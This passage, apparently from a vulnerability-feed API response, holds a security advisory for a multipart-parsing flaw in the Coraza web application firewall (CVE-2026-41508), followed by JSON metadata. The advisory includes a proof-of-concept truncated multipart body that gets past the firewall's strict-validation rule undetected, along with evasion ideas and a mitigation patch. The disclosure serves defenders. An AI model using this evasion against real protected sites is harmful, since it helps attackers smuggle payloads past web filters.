should keep the non-fatal `break` and still set `MULTIPART_STRICT_ERROR`, letting the operator decide (via rule 200003 or their own policy) whether partial processing is acceptable.\n\n## Impact\n\nRule 200003 is Coraza's blanket defense against **multipart parser-inconsistency evasions** — attack classes where the body is crafted so Coraza's Go `mime/multipart` reader and the backend's multipart parser (PHP, Node, Java, legacy libmodsecurity, etc.) disagree about where fields start or end. The rule fails-closed on *any* malformed body, so the operator does not need to enumerate every parser-disagreement trick. That defense is now void for any evasion that also truncates the body.\n\nExamples of what becomes reachable:\n\n- Smuggling a second field past the truncation boundary that the backend's more permissive parser still extracts.\n- Hiding payload bytes after a deliberately malformed `Content-Disposition` header that the Go parser refuses but the backend accepts.\n- Generic CRS evasion chains that depend on rule 200003 as a catch-all.\n\nThe fix is tiny and low-risk. The impact is disproportionately large because rule 200003 is the *only* defense-in-depth rule for multipart in the recommended config — there is no secondary signal.\n\n## Proof of Concept\n\nStart a Coraza-wrapped HTTP server shipping the canonical defensive rules from `coraza.conf-recommended`:\n\n```conf\nSecRuleEngine On\nSecRequestBodyAccess On\nSecRule REQBODY_ERROR \"!@eq 0\" \\\n    \"id:200002,phase:2,t:none,log,deny,status:400,msg:'Failed to parse request body.'\"\nSecRule MULTIPART_STRICT_ERROR \"!@eq 0\" \\\n    \"id:200003,phase:2,t:none,log,deny,status:400,msg:'Multipart strict validation failed.'\"\n```\n\nThree real-curl requests against the listener:\n\n| # | Body | Expected (with rule 200003) | Observed |\n|---|---|---|---|\n| 1 | Well-formed `field1=benign` + closing boundary | HTTP 200 | HTTP 200 (baseline) |\n| 2 | Two parts, **no closing boundary** (`...MALFORMED_NO_TRAILING_BOUNDARY`) | HTTP 400 | **HTTP 200** |\n| 3 | Mid-part cutoff: `name=\"x\"\\r\\n\\r\\nabc` (no `\\r\\n`, no boundary) | HTTP 400 | **HTTP 200** |\n\nServer-side match log is empty for cases 2 and 3: neither rule 200002 nor rule 200003 fires. Example (case 2):\n\n```\n--PoCBoundary12345\\r\\n\nContent-Disposition: form-data; name=\"field1\"\\r\\n\\r\\n\nbenign\\r\\n\n--PoCBoundary12345\\r\\n\nContent-Disposition: form-data; name=\"truncated\"\\r\\n\\r\\n\nMALFORMED_NO_TRAILING_BOUNDARY\n```\n→ `HTTP 200`, no audit record, transaction.variables.multipartStrictError == 0.\n\n## Mitigation\n\nA two-line change per site in `internal/bodyprocessors/multipart.go`:\n\n```go\nif errors.Is(err, io.ErrUnexpectedEOF) {\n    v.MultipartStrictError().(*collections.Single).Set(\"1\")\n    seenUnexpectedEOF = true   // keep existing break semantics\n}\n```\n\nApply at the three sites (lines 71–77, 82–88, 102–113 in the current code). No change to the `return err` control flow is needed — the fix only adds the flag-setter alongside the existing `seenUnexpectedEOF = true` / `break` path. PR #1453's ProcessPartial goal is preserved.\n\nOperators running in `ProcessPartial` mode who intentionally allow truncated bodies should pair this with a config-level change (downgrade rule 200003 to detection-only, or scope it with a secondary check on whether `SecRequestBodyLimit` was actually hit). The engine change above is safe by default — it restores the invariant that malformed multipart always raises `MULTIPART_STRICT_ERROR`.\n\n## Affected versions\n\nIntroduced in PR #1453 (commit `3347961b`, merged 2026-03-06). First released in `v3.4.0` and still present on `main` at `599ae64a`.\n\nAffected: `>= 3.4.0, <= 3.7.0`.\n\nReleases prior to `v3.4.0` returned `err` on `io.ErrUnexpectedEOF` and so `REQBODY_ERROR` would propagate via rule 200002 even if `MULTIPART_STRICT_ERROR` was not set — a different (arguably stricter) behavior that did not exhibit this bypass.\n\n## References\n\n- `internal/bodyprocessors/multipart.go` lines 70–113\n- `coraza.conf-recommended` rule `id:200003` (`MULTIPART_STRICT_ERROR`)\n- PR #1453 — introduction of `ErrUnexpectedEOF` swallowing\n- `coraza.conf-recommended` rule `id:200002` (`REQBODY_ERROR`) — also not raised because `ProcessRequest` returns `nil`","cveId":"CVE-2026-41508","cvssScore":null,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N","severity":"medium","vendor":"Go","product":"github.com/corazawaf/coraza/v3","affectedVersions":["pkg:golang/github.com/corazawaf/coraza/v3 >= 3.4.0, < 3.8.0"],"cwes":["CWE-20","CWE-693","CWE-755"],"tags":["osv","osv:ghsa-r3rm-qphw-hh76","ecosystem:go"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://osv.dev/vulnerability/GHSA-r3rm-qphw-hh76","type":"advisory","title":"OSV GHSA-r3rm-qphw-hh76"},{"url":"https://github.com/corazawaf/coraza/security/advisories/GHSA-r3rm-qphw-hh76","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza/commit/f94c81bec209f658120c418448d0590a549b71df","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza","type":"vendor","title":"OSV package"},{"url":"https://github.com/corazawaf/coraza/releases/tag/v3.8.0","type":"other","title":"OSV web"}],"epssScore":null,"epssPercentile":null,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-06T20:37:54.000Z","addedAt":"2026-10-07T00:42:42.554Z","updatedAt":"2026-10-07T00:42:42.554Z","epssUpdatedAt":null,"nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41508","note":"may still be awaiting NVD analysis"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-41508","note":"authoritative record"},{"label":"GitHub Advisory","url":"https://github.com/advisories/GHSA-r3rm-qphw-hh76"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-r3rm-qphw-hh76"}]}],"pagination":{"page":1,"limit":20,"total":1477,"totalPages":74,"hasNext":true,"hasPrev":false}},"meta":{"apiVersion":"v1","requestedAt":"2026-10-09T00:25:30.998Z","durationMs":34,"filters":{"search":null,"severity":[],"type":[],"country":[],"tag":[],"cwe":["CWE-20"],"vendor":null,"product":null,"cve":null,"source":[],"days":null,"publishedAfter":null,"publishedBefore":null,"minCvss":null,"maxCvss":null,"minEpss":null,"knownExploited":null,"hasPatch":null,"hasNucleiTemplate":null},"sort":"newest","unknownParams":[],"warnings":[]}}